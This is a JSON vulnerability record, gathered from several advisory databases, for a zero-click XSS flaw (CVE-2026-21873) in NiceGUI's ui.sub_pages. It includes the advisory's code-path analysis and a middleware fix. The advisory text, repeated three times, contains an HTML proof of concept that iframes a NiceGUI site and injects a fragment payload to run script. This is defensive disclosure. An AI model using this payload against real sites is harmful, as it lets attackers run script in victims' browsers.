{"id":"CVE-2026-21873","aliases":["EUVD-2026-1475","GHSA-mhpg-c27v-6mxr","PYSEC-2026-1702"],"status":"published","title":"Zero-click XSS in all NiceGUI apps which uses `ui.sub_pages`","description":"NiceGUI is a Python-based UI framework. From versions 2.22.0 to 3.4.1, an unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe. This issue has been patched in version 3.5.0.","severity":{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.0026,"percentile":0.17823,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-01-08T09:50:23Z","modified":"2026-10-28T02:30:31Z","fixes":[{"ecosystem":"PyPI","package":"nicegui","fixed_in":["3.5.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"nicegui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.22.0"},{"last_affected":"3.4.1"},{"fixed":"3.5.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"nicegui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.22.0"},{"fixed":"3.5.0"}]}],"versions":["2.22.0","2.22.1","2.22.2","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","3.0.0","3.0.0rc1","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.2.0","3.3.0","3.3.1","3.4.0","3.4.1"]},{"source":"osv","ecosystem":"PyPI","package":"nicegui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.22.0"},{"fixed":"3.5.0"}]}],"versions":["2.22.0","2.22.1","2.22.2","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","3.0.0","3.0.0rc1","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.2.0","3.3.0","3.3.1","3.4.0","3.4.1"]}],"products":[{"vendor":"zauberzeug","product":"nicegui"}],"references":[{"url":"https://github.com/zauberzeug/nicegui/security/advisories/GHSA-mhpg-c27v-6mxr","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/zauberzeug/nicegui/releases/tag/v3.5.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21873","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mhpg-c27v-6mxr","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/21xxx/CVE-2026-21873.json","tags":["advisory"]},{"url":"https://github.com/zauberzeug/nicegui","tags":["package"]},{"url":"https://pypi.org/project/nicegui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-21873","title":"Zero-click XSS in all NiceGUI apps which uses `ui.sub_pages`","description":"NiceGUI is a Python-based UI framework. From versions 2.22.0 to 3.4.1, an unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe. This issue has been patched in version 3.5.0.","status":"published","published":"2026-01-08T09:50:23.361Z","modified":"2026-01-08T15:11:24.092Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:41:42.05254Z"}],"euvd":[{"id":"EUVD-2026-1475","description":"NiceGUI is a Python-based UI framework. From versions 2.22.0 to 3.4.1, an unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe. This issue has been patched in version 3.5.0.","status":"published","published":"2026-01-08T09:50:23Z","modified":"2026-01-08T15:11:24Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T19:48:54.487856Z"}],"ghsa":[{"id":"GHSA-mhpg-c27v-6mxr","title":"NiceGUI apps which use `ui.sub_pages` vulnerable to zero-click XSS","description":"### Summary\n\nAn unsafe implementation in the `pushstate` event listener used by `ui.sub_pages` allows an attacker to manipulate the fragment identifier of the URL, which _they can do despite being cross-site, using an iframe_. \n\n### Details\n\nThe problem is traced as follows:\n\n1. On `pushstate`, `handleStateEvent` is executed. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L38-L39\n\n2. `handleStateEvent` emits `sub_pages_open` event. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L22-L25 \n\n3. `SubPagesRouter` (used by `ui.sub_pages`), lisnening on `sub_pages_open`, `_handle_open` runs. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L18-L22\n\n4. `_handle_open` finds any `SubPages` and runs `_show()` on them\n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L63-L71\n\n5. If the if-logic is followed or debug prints are added, it can be found that it calls `self._handle_scrolling(match, behavior='smooth')` directly\n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L76-L100\n\n6. **CULPRIT** `_handle_scrolling` runs `_scroll_to_fragment` as there is a fragment, which runs vulnerable JS if the `fragment` (attacker-controlled) escapes out of the quotes. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L206-L217\n\n### PoC\n\nJust visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain. \n\n```html\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003ciframe id=\"myiframe\" src=\"https://nicegui.io\" width=\"100%\" height=\"600px\" onload=\"triggerXSS()\"\u003e\u003c/iframe\u003e\n    \u003cscript\u003e\n      function triggerXSS() {\n        if (!myiframe.src.includes(\"#\")) {\n          myiframe.src = \"https://nicegui.io#x');alert(document.domain)//\";\n        }\n      }\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"1429\" height=\"643\" alt=\"image\" src=\"https://github.com/user-attachments/assets/310dbb5c-65d5-44f2-8417-dcf044829bc6\" /\u003e\n\n### Impact\n\nAny page which uses `ui.sub_pages` and does not actively prevent itself from being put in an iframe is affected.\n\nThe impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying `app` via FastAPI methods, and that `ui.sub_pages` is actively promoted as the new modern way to create Single-Page Applications (SPA). \n\n### Patch\n\n1. Not use `ui.sub_pages`\n2. Block iframe with the following code\n\n```py\n@app.middleware('http')\nasync def iframe_blocking_middleware(request, call_next):\n    response = await call_next(request)\n    response.headers['X-Frame-Options'] = 'DENY'\n    return response\n```\n\n### Appendix\n\nAI is used safely to judge the CVSS scoring (input is censored).\n\nPlease find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma\n\n### Scoring update after manual review\n\nThe scoring done by AI was quite biased. Upon further review it is less dramatic. \n\n- User Interaction **None**: There's _almost_ no interaction required, and none of the interaction is with the vulnerable system.\n- Confidentiality \u0026 Integrity **Low**: The extent of data confidentiality \u0026 integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do. \n- Availability **None**: No DDoS is possible with this. Site remains performant as ever.","status":"published","published":"2026-01-08T20:16:41Z","modified":"2026-01-08T20:16:43Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:16.156387Z"}],"nvd":[{"id":"CVE-2026-21873","description":"NiceGUI is a Python-based UI framework. From versions 2.22.0 to 3.4.1, an unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe. This issue has been patched in version 3.5.0.","status":"published","published":"2026-01-08T10:15:55.617Z","modified":"2026-06-17T10:19:04.083Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:03.683495Z"}],"osv":[{"id":"CVE-2026-21873","title":"Zero-click XSS in all NiceGUI apps which uses `ui.sub_pages`","description":"NiceGUI is a Python-based UI framework. From versions 2.22.0 to 3.4.1, an unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe. This issue has been patched in version 3.5.0.","status":"published","published":"2026-01-08T09:50:23.361Z","modified":"2026-10-28T02:30:31.692604456Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:58.42038Z"},{"id":"GHSA-mhpg-c27v-6mxr","title":"NiceGUI apps which use `ui.sub_pages` vulnerable to zero-click XSS","description":"### Summary\n\nAn unsafe implementation in the `pushstate` event listener used by `ui.sub_pages` allows an attacker to manipulate the fragment identifier of the URL, which _they can do despite being cross-site, using an iframe_. \n\n### Details\n\nThe problem is traced as follows:\n\n1. On `pushstate`, `handleStateEvent` is executed. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L38-L39\n\n2. `handleStateEvent` emits `sub_pages_open` event. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L22-L25 \n\n3. `SubPagesRouter` (used by `ui.sub_pages`), lisnening on `sub_pages_open`, `_handle_open` runs. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L18-L22\n\n4. `_handle_open` finds any `SubPages` and runs `_show()` on them\n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L63-L71\n\n5. If the if-logic is followed or debug prints are added, it can be found that it calls `self._handle_scrolling(match, behavior='smooth')` directly\n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L76-L100\n\n6. **CULPRIT** `_handle_scrolling` runs `_scroll_to_fragment` as there is a fragment, which runs vulnerable JS if the `fragment` (attacker-controlled) escapes out of the quotes. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L206-L217\n\n### PoC\n\nJust visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain. \n\n```html\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003ciframe id=\"myiframe\" src=\"https://nicegui.io\" width=\"100%\" height=\"600px\" onload=\"triggerXSS()\"\u003e\u003c/iframe\u003e\n    \u003cscript\u003e\n      function triggerXSS() {\n        if (!myiframe.src.includes(\"#\")) {\n          myiframe.src = \"https://nicegui.io#x');alert(document.domain)//\";\n        }\n      }\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"1429\" height=\"643\" alt=\"image\" src=\"https://github.com/user-attachments/assets/310dbb5c-65d5-44f2-8417-dcf044829bc6\" /\u003e\n\n### Impact\n\nAny page which uses `ui.sub_pages` and does not actively prevent itself from being put in an iframe is affected.\n\nThe impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying `app` via FastAPI methods, and that `ui.sub_pages` is actively promoted as the new modern way to create Single-Page Applications (SPA). \n\n### Patch\n\n1. Not use `ui.sub_pages`\n2. Block iframe with the following code\n\n```py\n@app.middleware('http')\nasync def iframe_blocking_middleware(request, call_next):\n    response = await call_next(request)\n    response.headers['X-Frame-Options'] = 'DENY'\n    return response\n```\n\n### Appendix\n\nAI is used safely to judge the CVSS scoring (input is censored).\n\nPlease find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma\n\n### Scoring update after manual review\n\nThe scoring done by AI was quite biased. Upon further review it is less dramatic. \n\n- User Interaction **None**: There's _almost_ no interaction required, and none of the interaction is with the vulnerable system.\n- Confidentiality \u0026 Integrity **Low**: The extent of data confidentiality \u0026 integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do. \n- Availability **None**: No DDoS is possible with this. Site remains performant as ever.","status":"published","published":"2026-01-08T20:16:41Z","modified":"2026-07-07T17:57:37.927767983Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:51.811331Z"},{"id":"PYSEC-2026-1702","title":"NiceGUI apps which use `ui.sub_pages` vulnerable to zero-click XSS","description":"### Summary\n\nAn unsafe implementation in the `pushstate` event listener used by `ui.sub_pages` allows an attacker to manipulate the fragment identifier of the URL, which _they can do despite being cross-site, using an iframe_. \n\n### Details\n\nThe problem is traced as follows:\n\n1. On `pushstate`, `handleStateEvent` is executed. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L38-L39\n\n2. `handleStateEvent` emits `sub_pages_open` event. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L22-L25 \n\n3. `SubPagesRouter` (used by `ui.sub_pages`), lisnening on `sub_pages_open`, `_handle_open` runs. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L18-L22\n\n4. `_handle_open` finds any `SubPages` and runs `_show()` on them\n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L63-L71\n\n5. If the if-logic is followed or debug prints are added, it can be found that it calls `self._handle_scrolling(match, behavior='smooth')` directly\n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L76-L100\n\n6. **CULPRIT** `_handle_scrolling` runs `_scroll_to_fragment` as there is a fragment, which runs vulnerable JS if the `fragment` (attacker-controlled) escapes out of the quotes. \n\nhttps://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L206-L217\n\n### PoC\n\nJust visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain. \n\n```html\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003ciframe id=\"myiframe\" src=\"https://nicegui.io\" width=\"100%\" height=\"600px\" onload=\"triggerXSS()\"\u003e\u003c/iframe\u003e\n    \u003cscript\u003e\n      function triggerXSS() {\n        if (!myiframe.src.includes(\"#\")) {\n          myiframe.src = \"https://nicegui.io#x');alert(document.domain)//\";\n        }\n      }\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"1429\" height=\"643\" alt=\"image\" src=\"https://github.com/user-attachments/assets/310dbb5c-65d5-44f2-8417-dcf044829bc6\" /\u003e\n\n### Impact\n\nAny page which uses `ui.sub_pages` and does not actively prevent itself from being put in an iframe is affected.\n\nThe impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying `app` via FastAPI methods, and that `ui.sub_pages` is actively promoted as the new modern way to create Single-Page Applications (SPA). \n\n### Patch\n\n1. Not use `ui.sub_pages`\n2. Block iframe with the following code\n\n```py\n@app.middleware('http')\nasync def iframe_blocking_middleware(request, call_next):\n    response = await call_next(request)\n    response.headers['X-Frame-Options'] = 'DENY'\n    return response\n```\n\n### Appendix\n\nAI is used safely to judge the CVSS scoring (input is censored).\n\nPlease find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma\n\n### Scoring update after manual review\n\nThe scoring done by AI was quite biased. Upon further review it is less dramatic. \n\n- User Interaction **None**: There's _almost_ no interaction required, and none of the interaction is with the vulnerable system.\n- Confidentiality \u0026 Integrity **Low**: The extent of data confidentiality \u0026 integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do. \n- Availability **None**: No DDoS is possible with this. Site remains performant as ever.","status":"published","published":"2026-07-07T16:03:17.279776Z","modified":"2026-07-07T17:46:58.610773531Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}